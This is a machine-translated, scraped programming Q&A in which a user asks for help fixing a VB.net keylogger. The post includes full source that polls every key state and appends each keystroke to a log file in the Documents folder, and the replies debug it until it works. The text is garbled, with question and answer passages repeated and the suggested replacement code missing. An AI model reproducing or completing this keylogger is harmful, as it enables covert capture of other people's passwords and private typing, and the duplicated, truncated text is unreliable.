Vb.net 无法在键盘记录器程序中使用KeyConverter
我正在尝试创建一个基本的键记录程序。我对网络安全感兴趣,想了解更多。我已经将下面来自不同来源的代码散列在一起。 行text=converter.ToString(i)生成索引越界错误。 我认为这是因为对象转换器没有按它应该的那样实例化??但如何修复呢Vb.net 无法在键盘记录器程序中使用KeyConverter,vb.net,keylogger,Vb.net,Keylogger,我正在尝试创建一个基本的键记录程序。我对网络安全感兴趣,想了解更多。我已经将下面来自不同来源的代码散列在一起。 行text=converter.ToString(i)生成索引越界错误。 我认为这是因为对象转换器没有按它应该的那样实例化??但如何修复呢 Imports System.IO Imports System.Text Imports System.Windows.Forms Imports System.Runtime.InteropServices Imports System.Thr
Imports System.IO
Imports System.Text
Imports System.Windows.Forms
Imports System.Runtime.InteropServices
Imports System.Threading
Module Module1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Sub Main()
Dim filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
filepath &= "\LogsFolder\"
If (Not Directory.Exists(filepath)) Then
Directory.CreateDirectory(filepath)
End If
Dim Path = (filepath & "LoggedKeys.text")
If Not File.Exists(Path) Then
Using sw As StreamWriter = File.CreateText(Path)
End Using
End If
Dim Converter = New KeysConverter()
Dim text As String = ""
While (True)
Thread.Sleep(5)
For i As Integer = 0 To 1999
Dim key = GetAsyncKeyState(i)
If key = 1 Or key = -32767 Then
text = converter.ToString(i)
Using sw As StreamWriter = File.AppendText(Path)
sw.WriteLine(text)
End Using
Exit For
End If
Next
End While
End Sub
End Module
看起来你在寻找方法 替换以下行:
text = converter.ToString(i)
与:
编辑以解决评论中的问题: 我得到一个语法错误,“ConvertToString”不是KeyConverter的成员。。。听起来我的实例化没有起作用 将鼠标光标悬停在
转换器
变量上,然后仔细检查其类型。确保keyconverter
实际上是System.Windows.Forms.keyconverter
类,而不是某种本地生成的类
MyImports System.Windows.Forms语句被重影-表明它从未使用过
这就是我所怀疑的。您似乎在控制台应用程序中,正在访问System.Windows.Forms
命名空间中的类,该命名空间未包含在控制台应用程序中。您需要添加对System.Windows.Forms.dll的引用,如中所述
另外,请确保从项目中找到并删除生成的KeyConverter类,以避免冲突。看起来您正在寻找该方法 替换以下行:
text = converter.ToString(i)
与:
编辑以解决评论中的问题: 我得到一个语法错误,“ConvertToString”不是KeyConverter的成员。。。听起来我的实例化没有起作用 将鼠标光标悬停在
转换器
变量上,然后仔细检查其类型。确保keyconverter
实际上是System.Windows.Forms.keyconverter
类,而不是某种本地生成的类
MyImports System.Windows.Forms语句被重影-表明它从未使用过
这就是我所怀疑的。您似乎在控制台应用程序中,正在访问System.Windows.Forms
命名空间中的类,该命名空间未包含在控制台应用程序中。您需要添加对System.Windows.Forms.dll的引用,如中所述
另外,请确保从项目中找到并删除生成的KeyConverter类,以避免冲突。谢谢您的回答。不幸的是,这行不通。我得到一个语法错误,“ConvertToString”不是KeyConverter的成员。这正是困扰我的地方-听起来我的实例化没有工作,因此我不能给MEHOD打电话你的实例化没有工作是什么意思?将光标悬停在
转换器
变量上,并仔细检查其类型。请确保keyconverter
实际上是System.Windows.Forms.keyconverter
类,而不是某种本地生成的类。谢谢您回到我这里。MyImports System.Windows.Forms语句被重影-表明它从未使用过。我猜这就是为什么我不能访问ConvertToString方法-当我在变量“converter”后键入句号时,它不会弹出。明白了!!!你是对的。不知何故,我设法创建了一个偷偷摸摸的本地类-可能输入了一个句点,然后在没有检查它正在做什么的情况下敲打了enter。@Rich,我编辑了答案,以解决您上次对System.Windows.Forms引用的担忧。谢谢您的回答。不幸的是,这行不通。我得到一个语法错误,“ConvertToString”不是KeyConverter的成员。这正是困扰我的地方-听起来我的实例化没有工作,因此我不能给MEHOD打电话你的实例化没有工作是什么意思?将光标悬停在转换器
变量上,并仔细检查其类型。请确保keyconverter
实际上是System.Windows.Forms.keyconverter
类,而不是某种本地生成的类。谢谢您回到我这里。MyImports System.Windows.Forms语句被重影-表明它从未使用过。我猜这就是为什么我不能访问ConvertToString方法-当我在变量“converter”后键入句号时,它不会弹出。明白了!!!你是对的。不知何故,我设法创建了一个偷偷摸摸的本地类-可能输入了一个句点,然后在没有检查它在做什么的情况下敲打了enter。@Rich,我编辑了答案以解决您上次对System.Windows.Forms引用的担忧。我很确定它应该是Dim converter as New Keyconverter()
。我认为当您使用=New
语法时,没有为变量定义类型,因此它变成了对象类型。@RBarryYoung不,它们实际上是一样的Dim foo=newbar()
类似于var foo=newbar(),而Dim foo As New Bar()
是Dim foo As Bar=New Bar()
的缩写,相当于Bar foo=New Bar()看起来像。非常确定它应该是变光器作为新的KeyConverter()
。我认为当您使用=New
语法时,没有为变量定义类型,因此它变成了对象类型。@RBarryYoung不,它们实际上是一样的Dim foo=newbar()
类似于var foo=newbar(),而Dim foo As New Bar()
是Dim foo As Bar=New Bar()
的缩写,相当于Bar foo=New Bar()看起来像。